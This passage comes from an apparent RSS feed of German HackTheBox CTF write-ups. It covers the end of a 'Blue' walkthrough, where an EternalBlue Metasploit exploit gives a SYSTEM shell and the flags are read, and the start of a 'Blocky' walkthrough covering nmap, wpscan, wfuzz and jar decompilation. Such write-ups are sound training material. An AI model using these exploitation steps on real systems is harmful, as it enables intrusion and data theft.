</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 10.10.10.40:445 - Starting non-paged pool grooming
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 10.10.10.40:445 - Sending SMBv2 buffers
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 10.10.10.40:445 - Sending final SMBv2 buffers.
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 10.10.10.40:445 - Sending last fragment of exploit packet!
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 10.10.10.40:445 - Receiving response from exploit packet
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully <span style="color:#f92672">(</span>0xC000000D<span style="color:#f92672">)</span>!
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 10.10.10.40:445 - Sending egg to corrupted connection.
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 10.10.10.40:445 - Triggering free of corrupted buffer.
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Command shell session <span style="color:#ae81ff">2</span> opened <span style="color:#f92672">(</span>10.10.14.254:4444 -&gt; 10.10.10.40:49158<span style="color:#f92672">)</span> at 2018-01-10 11:19:14 +0100
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 10.10.10.40:445 - <span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 10.10.10.40:445 - <span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-WIN-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 10.10.10.40:445 - <span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>-<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Microsoft Windows <span style="color:#f92672">[</span>Version 6.1.7601<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Copyright <span style="color:#f92672">(</span>c<span style="color:#f92672">)</span> <span style="color:#ae81ff">2009</span> Microsoft Corporation. All rights reserved.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\W</span>indows<span style="color:#ae81ff">\s</span>ystem32&gt;
</span></span></code></pre></div><p>Es hat funktioniert! Falls es bei dir nicht funktioniert, überprüfe nochmal ob <strong>RHOST</strong> und <strong>RPORT</strong> richtig eingestellt ist.<br>
Wenn es trotzdem nach mehreren Versuchen nicht funktioniert, hilft es <strong>Blue</strong> zurückzusetzen.</p>
<p>Sehen wir uns zuerst einmal mit dem Befehl <strong>whoami</strong> an, als welcher Benutzer wir Zugriff haben.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>C:<span style="color:#ae81ff">\W</span>indows<span style="color:#ae81ff">\s</span>ystem32&gt;whoami
</span></span><span style="display:flex;"><span>whoami
</span></span><span style="display:flex;"><span>nt authority<span style="color:#ae81ff">\s</span>ystem
</span></span></code></pre></div><p>Dank des Metasploit Modules sind wir schon direkt als <strong>nt authority\system</strong> angemeldet. Jetzt müssen wir nur noch die beiden Text-Dateien <strong>user.txt</strong> und <strong>root.txt</strong> finden.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>C:<span style="color:#ae81ff">\W</span>indows<span style="color:#ae81ff">\s</span>ystem32&gt;cd C:/Users
</span></span><span style="display:flex;"><span>cd C:/Users
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers&gt;dir
</span></span><span style="display:flex;"><span>dir
</span></span><span style="display:flex;"><span>Volume in drive C has no label.
</span></span><span style="display:flex;"><span>Volume Serial Number is A0EF-1911
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Directory of C:<span style="color:#ae81ff">\U</span>sers
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>21/07/2017 06:56 &lt;DIR&gt; .
</span></span><span style="display:flex;"><span>21/07/2017 06:56 &lt;DIR&gt; ..
</span></span><span style="display:flex;"><span>21/07/2017 06:56 &lt;DIR&gt; Administrator
</span></span><span style="display:flex;"><span>14/07/2017 13:45 &lt;DIR&gt; haris
</span></span><span style="display:flex;"><span>12/04/2011 07:51 &lt;DIR&gt; Public
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0</span> File<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span> <span style="color:#ae81ff">0</span> bytes
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">5</span> Dir<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span> 15,501,770,752 bytes free
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers&gt;cd haris
</span></span><span style="display:flex;"><span>cd haris
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\h</span>aris&gt;cd ..
</span></span><span style="display:flex;"><span>cd ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers&gt;cd haris/Desktop
</span></span><span style="display:flex;"><span>cd haris/Desktop
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\h</span>aris<span style="color:#ae81ff">\D</span>esktop&gt;dir
</span></span><span style="display:flex;"><span>dir
</span></span><span style="display:flex;"><span>Volume in drive C has no label.
</span></span><span style="display:flex;"><span>Volume Serial Number is A0EF-1911
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Directory of C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\h</span>aris<span style="color:#ae81ff">\D</span>esktop
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>24/12/2017 02:23 &lt;DIR&gt; .
</span></span><span style="display:flex;"><span>24/12/2017 02:23 &lt;DIR&gt; ..
</span></span><span style="display:flex;"><span>21/07/2017 06:54 <span style="color:#ae81ff">32</span> user.txt
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span> File<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span> <span style="color:#ae81ff">32</span> bytes
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span> Dir<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span> 15,509,401,600 bytes free
</span></span></code></pre></div><p>Unter <strong>C:\Users\haris\Desktop\</strong> befindet sich die <strong>user.txt</strong> Datei mit dem Befehl <strong>type</strong> können wir unter Windows den Inhalt ausgeben lassen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\h</span>aris<span style="color:#ae81ff">\D</span>esktop&gt;type user.txt
</span></span><span style="display:flex;"><span>type user.txt
</span></span><span style="display:flex;"><span><span style="color:#75715e">##########zensiert###########ea9</span>
</span></span></code></pre></div><p>Jetzt ist die <strong>root.txt</strong> Datei dran</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\h</span>aris<span style="color:#ae81ff">\D</span>esktop&gt;cd C:/Users/Administrator/Desktop
</span></span><span style="display:flex;"><span>cd C:/Users/Administrator/Desktop
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\A</span>dministrator<span style="color:#ae81ff">\D</span>esktop&gt;dir
</span></span><span style="display:flex;"><span>dir
</span></span><span style="display:flex;"><span>Volume in drive C has no label.
</span></span><span style="display:flex;"><span>Volume Serial Number is A0EF-1911
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Directory of C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\A</span>dministrator<span style="color:#ae81ff">\D</span>esktop
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>24/12/2017 02:22 &lt;DIR&gt; .
</span></span><span style="display:flex;"><span>24/12/2017 02:22 &lt;DIR&gt; ..
</span></span><span style="display:flex;"><span>21/07/2017 06:57 <span style="color:#ae81ff">32</span> root.txt
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span> File<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span> <span style="color:#ae81ff">32</span> bytes
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span> Dir<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span> 15,500,283,904 bytes free
</span></span></code></pre></div><p>Diese befindet sich unter <strong>C:\Users\Administrator\Desktop\</strong>. Jetzt nur noch wieder mit <strong>type</strong> den Inhalt ausgeben&hellip;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\A</span>dministrator<span style="color:#ae81ff">\D</span>esktop&gt;type root.txt
</span></span><span style="display:flex;"><span>type root.txt
</span></span><span style="display:flex;"><span><span style="color:#75715e">##########zensiert###########717</span>
</span></span></code></pre></div><p>Und wir haben User und Root auf Blue erfolgreich geownt!</p>
]]></content></item><item><title>HackTheBox - Blocky WriteUp | Tipps + Anleitung</title><link>https://m10x.de/posts/2017/12/hackthebox-blocky-writeup-tipps--anleitung/</link><pubDate>Thu, 21 Dec 2017 21:45:56 +0100</pubDate><guid>https://m10x.de/posts/2017/12/hackthebox-blocky-writeup-tipps--anleitung/</guid><description>Blocky ist eine der vielen Verfügbaren CTF Challenges auf HackTheBox. Blocky gehört zu den einfacheren Maschinen von HackTheBox und ist deswegen sehr gut für Anfänger geeignet. Aber auch für Erfahrene, die eine Herausforderung für zwischendurch suchen.
Tipps Welche Verzeichnisse kannst du finden? Eventuell eins, welches mit Plugins zu tun hat? Man sollte nie Passwörter mehrmals verwenden&amp;hellip; Anleitung Zuerst machen wir wie gewohnt einen Nmap-Scan um herauszufinden welche Ports offen sind. Dabei benutzen wir die Option -A um das Betriebssystem und ebenfalls die Services herauszufinden, welche auf den jeweiligen Ports laufen.</description><content type="html"><![CDATA[<p><a href="https://www.hackthebox.eu/home/machines/profile/48">Blocky</a> ist eine der vielen Verfügbaren CTF Challenges auf <a href="https://hackthebox.eu/">HackTheBox</a>. <a href="https://www.hackthebox.eu/home/machines/profile/48">Blocky</a> gehört zu den einfacheren Maschinen von <a href="https://hackthebox.eu/">HackTheBox</a> und ist deswegen sehr gut für Anfänger geeignet. Aber auch für Erfahrene, die eine Herausforderung für zwischendurch suchen.</p>
<p><a href="https://imgur.com/eLVu2jE"><img alt="difficulty" src="https://imgur.com/eLVu2jE.jpg"></a></p>
<h2 id="tipps"><strong>Tipps</strong></h2>
<ul>
<li>Welche Verzeichnisse kannst du finden? Eventuell eins, welches mit Plugins zu tun hat?</li>
<li>Man sollte nie Passwörter mehrmals verwenden&hellip;</li>
</ul>
<h2 id="anleitung"><strong>Anleitung</strong></h2>
<p>Zuerst machen wir wie gewohnt einen Nmap-Scan um herauszufinden welche Ports offen sind. Dabei benutzen wir die Option <strong>-A</strong> um das Betriebssystem und ebenfalls die Services herauszufinden, welche auf den jeweiligen Ports laufen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# nmap -A 10.10.10.37
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting Nmap 7.60 <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2017-12-21 21:13 CET
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.10.10.37
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.021s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">997</span> filtered ports
</span></span><span style="display:flex;"><span>PORT STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>21/tcp open ftp ProFTPD 1.3.5a
</span></span><span style="display:flex;"><span>22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">2048</span> d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">256</span> 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_ <span style="color:#ae81ff">256</span> 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 <span style="color:#f92672">(</span>EdDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>80/tcp open http Apache httpd 2.4.18 <span style="color:#f92672">((</span>Ubuntu<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>|_http-generator: WordPress 4.8
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.18 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-title: BlockyCraft - Under Construction!
</span></span><span style="display:flex;"><span>Warning: OSScan results may be unreliable because we could not find at least <span style="color:#ae81ff">1</span> open and <span style="color:#ae81ff">1</span> closed port
</span></span><span style="display:flex;"><span>Device type: WAP|general purpose
</span></span><span style="display:flex;"><span>Running: Actiontec embedded, Linux 2.4.X
</span></span><span style="display:flex;"><span>OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel cpe:/o:linux:linux_kernel:2.4.37
</span></span><span style="display:flex;"><span>OS details: Actiontec MI424WR-GEN3I WAP, DD-WRT v24-sp2 <span style="color:#f92672">(</span>Linux 2.4.37<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Network Distance: <span style="color:#ae81ff">2</span> hops
</span></span><span style="display:flex;"><span>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel&lt;/pre&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Der Nmap-Scan liefert folgende interessante Ergebnisse:  
</span></span><span style="display:flex;"><span>Port 21: FTP <span style="color:#f92672">(</span> ProFTPD <span style="color:#f92672">)</span>  
</span></span><span style="display:flex;"><span>Port 22: SSH <span style="color:#f92672">(</span> OpenSSH <span style="color:#f92672">)</span>  
</span></span><span style="display:flex;"><span>Port 80: HTTP <span style="color:#f92672">(</span> Apache / Wordpress <span style="color:#f92672">)</span>
</span></span></code></pre></div><p>Da der Apache Server eine Wordpress Seite bereitstellt, können wir WPScan benutzen, welches nach Schwachstellen und Informationen ( wie z.B. Benutzernamen ) sucht. Eventuell haben wir Glück und es gibt eine vielversprechende Schwachstelle.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# wpscan -u http://10.10.10.37 --enumerate u
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> URL: http://10.10.10.37/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Started: Thu Dec <span style="color:#ae81ff">21</span> 21:34:59 <span style="color:#ae81ff">2017</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>!<span style="color:#f92672">]</span> The WordPress <span style="color:#e6db74">&#39;http://10.10.10.37/readme.html&#39;</span> file exists exposing a version number
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Interesting header: LINK: &lt;http://10.10.10.37/index.php/wp-json/&gt;; rel<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://api.w.org/&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Interesting header: SERVER: Apache/2.4.18 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> XML-RPC Interface available under: http://10.10.10.37/xmlrpc.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>!<span style="color:#f92672">]</span> Upload directory has directory listing enabled: http://10.10.10.37/wp-content/uploads/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>!<span style="color:#f92672">]</span> Includes directory has directory listing enabled: http://10.10.10.37/wp-includes/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> WordPress version 4.8 <span style="color:#f92672">(</span>Released on 2017-06-08<span style="color:#f92672">)</span> identified from advanced fingerprinting, meta generator, links opml, stylesheets numbers
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>!<span style="color:#f92672">]</span> <span style="color:#ae81ff">12</span> vulnerabilities identified from the version number
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>... Aufzählung der Schwachstellen aus habe ich für eine bessere Übersichtlichkeit entfernt<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Enumerating plugins from passive detection ...
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> No plugins found
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Enumerating usernames ...
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Identified the following <span style="color:#ae81ff">1</span> user/s:
</span></span><span style="display:flex;"><span>+----+-------+---------+
</span></span><span style="display:flex;"><span>| Id | Login | Name |
</span></span><span style="display:flex;"><span>+----+-------+---------+
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">1</span> | notch | Notch – |
</span></span><span style="display:flex;"><span>+----+-------+---------+
</span></span></code></pre></div><p>Es wurden 12 Schwachstellen gefunden, allerdings keine die uns weiterbringen würde, weswegen ich die Aufzählung dieser entfernt habe.<br>
Immerhin haben wir einen Login-Namen gefunden und zwar <strong>notch</strong>. Dies könnte uns noch zum Nutzen sein.</p>
<p>Nun wäre es sinnvoll die Verzeichnisse der Wordpress-Seite zu bruteforcen. Ich benutze dafür wfuzz, welches bei Kali-Linux standardmäßig schon installiert seien sollte. Andere Anwendung, welche denselben Zweck erfüllen, kannst du natürlich auch benutzen. Zum Beispiel gobuster, dirb, dirbuster oder eine andere Anwendung deiner Wahl. Ich benutze als Wortliste die common.txt Text-Datei die von dirb standardmäßig in Kali-Linux in dem Verzeichnis <strong>/usr/share/dirb/wordlists/common.txt</strong> bereit gestellt wird. Als zusätzliche Option benutze ich bei wfuzz <strong>&ndash;hc 404</strong>, damit nicht gefundene Verzeichnisse / Dateien nicht im Terminal ausgegeben wird.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# wfuzz -c -z file,/usr/share/dirb/wordlists/common.txt --hc <span style="color:#ae81ff">404</span> http://10.10.10.37/FUZZ
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Target: HTTP://10.10.10.37/FUZZ
</span></span><span style="display:flex;"><span>Total requests: 4614
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">==================================================================</span>
</span></span><span style="display:flex;"><span>ID Response Lines Word Chars Payload
</span></span><span style="display:flex;"><span><span style="color:#f92672">==================================================================</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>00001: C<span style="color:#f92672">=</span><span style="color:#ae81ff">200</span> <span style="color:#ae81ff">313</span> L <span style="color:#ae81ff">3592</span> W <span style="color:#ae81ff">52256</span> Ch <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>00011: C<span style="color:#f92672">=</span><span style="color:#ae81ff">403</span> <span style="color:#ae81ff">11</span> L <span style="color:#ae81ff">32</span> W <span style="color:#ae81ff">290</span> Ch <span style="color:#e6db74">&#34;.hta&#34;</span>
</span></span><span style="display:flex;"><span>02021: C<span style="color:#f92672">=</span><span style="color:#ae81ff">301</span> <span style="color:#ae81ff">0</span> L <span style="color:#ae81ff">0</span> W <span style="color:#ae81ff">0</span> Ch <span style="color:#e6db74">&#34;index.php&#34;</span>
</span></span><span style="display:flex;"><span>02145: C<span style="color:#f92672">=</span><span style="color:#ae81ff">301</span> <span style="color:#ae81ff">9</span> L <span style="color:#ae81ff">28</span> W <span style="color:#ae81ff">315</span> Ch <span style="color:#e6db74">&#34;javascript&#34;</span>
</span></span><span style="display:flex;"><span>02954: C<span style="color:#f92672">=</span><span style="color:#ae81ff">301</span> <span style="color:#ae81ff">9</span> L <span style="color:#ae81ff">28</span> W <span style="color:#ae81ff">315</span> Ch <span style="color:#e6db74">&#34;phpmyadmin&#34;</span>
</span></span><span style="display:flex;"><span>03003: C<span style="color:#f92672">=</span><span style="color:#ae81ff">301</span> <span style="color:#ae81ff">9</span> L <span style="color:#ae81ff">28</span> W <span style="color:#ae81ff">312</span> Ch <span style="color:#e6db74">&#34;plugins&#34;</span>
</span></span><span style="display:flex;"><span>03588: C<span style="color:#f92672">=</span><span style="color:#ae81ff">403</span> <span style="color:#ae81ff">11</span> L <span style="color:#ae81ff">32</span> W <span style="color:#ae81ff">299</span> Ch <span style="color:#e6db74">&#34;server-status&#34;</span>
</span></span><span style="display:flex;"><span>04454: C<span style="color:#f92672">=</span><span style="color:#ae81ff">301</span> <span style="color:#ae81ff">9</span> L <span style="color:#ae81ff">28</span> W <span style="color:#ae81ff">309</span> Ch <span style="color:#e6db74">&#34;wiki&#34;</span>
</span></span><span style="display:flex;"><span>04485: C<span style="color:#f92672">=</span><span style="color:#ae81ff">301</span> <span style="color:#ae81ff">9</span> L <span style="color:#ae81ff">28</span> W <span style="color:#ae81ff">313</span> Ch <span style="color:#e6db74">&#34;wp-admin&#34;</span>
</span></span><span style="display:flex;"><span>04495: C<span style="color:#f92672">=</span><span style="color:#ae81ff">301</span> <span style="color:#ae81ff">9</span> L <span style="color:#ae81ff">28</span> W <span style="color:#ae81ff">315</span> Ch <span style="color:#e6db74">&#34;wp-content&#34;</span>
</span></span><span style="display:flex;"><span>04501: C<span style="color:#f92672">=</span><span style="color:#ae81ff">301</span> <span style="color:#ae81ff">9</span> L <span style="color:#ae81ff">28</span> W <span style="color:#ae81ff">316</span> Ch <span style="color:#e6db74">&#34;wp-includes&#34;</span>
</span></span><span style="display:flex;"><span>04568: C<span style="color:#f92672">=</span><span style="color:#ae81ff">405</span> <span style="color:#ae81ff">0</span> L <span style="color:#ae81ff">6</span> W <span style="color:#ae81ff">42</span> Ch <span style="color:#e6db74">&#34;xmlrpc.php&#34;</span>
</span></span><span style="display:flex;"><span>00012: C<span style="color:#f92672">=</span><span style="color:#ae81ff">403</span> <span style="color:#ae81ff">11</span> L <span style="color:#ae81ff">32</span> W <span style="color:#ae81ff">295</span> Ch <span style="color:#e6db74">&#34;.htaccess&#34;</span>
</span></span><span style="display:flex;"><span>00013: C<span style="color:#f92672">=</span><span style="color:#ae81ff">403</span> <span style="color:#ae81ff">11</span> L <span style="color:#ae81ff">32</span> W <span style="color:#ae81ff">295</span> Ch <span style="color:#e6db74">&#34;.htpasswd&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Total time: 315.8989
</span></span><span style="display:flex;"><span>Processed Requests: <span style="color:#ae81ff">4614</span>
</span></span><span style="display:flex;"><span>Filtered Requests: <span style="color:#ae81ff">4600</span>
</span></span><span style="display:flex;"><span>Requests/sec.: 14.60593
</span></span></code></pre></div><p>Unter <strong>http://10.10.10.37/plugins</strong> können wir etwas interessantes finden. Und zwar zwei .jar Dateien. Laden wir uns diese doch herunter und sehen sie uns genauer an.</p>
<p><a href="https://imgur.com/N0Kp1wH"><img alt="files" src="https://imgur.com/N0Kp1wH.jpg"></a></p>
<p><a href="https://imgur.com/i40lrYH"><img alt="blockycore.jar" src="https://imgur.com/i40lrYH.jpg"></a></p>
<p>Mithilfe von JAD können wir Java .class Dateien dekompilieren. Dekompilieren wir mal <strong>BlockyCore.class</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~/Desktop/Blocky# jad BlockyCore.class
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Parsing BlockyCore.class...The class file version is 52.0 <span style="color:#f92672">(</span>only 45.3, 46.0 and 47.0 are supported<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Generating BlockyCore.jad
</span></span><span style="display:flex;"><span>root@kali:~/Desktop/Blocky# cat BlockyCore.jad
</span></span><span style="display:flex;"><span>// Decompiled by Jad v1.5.8e. Copyright <span style="color:#ae81ff">2001</span> Pavel Kouznetsov.
</span></span><span style="display:flex;"><span>// Jad home page: http://www.geocities.com/kpdus/jad.html
</span></span><span style="display:flex;"><span>// Decompiler options: packimports<span style="color:#f92672">(</span>3<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>// Source File Name: BlockyCore.java
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>package com.myfirstplugin;
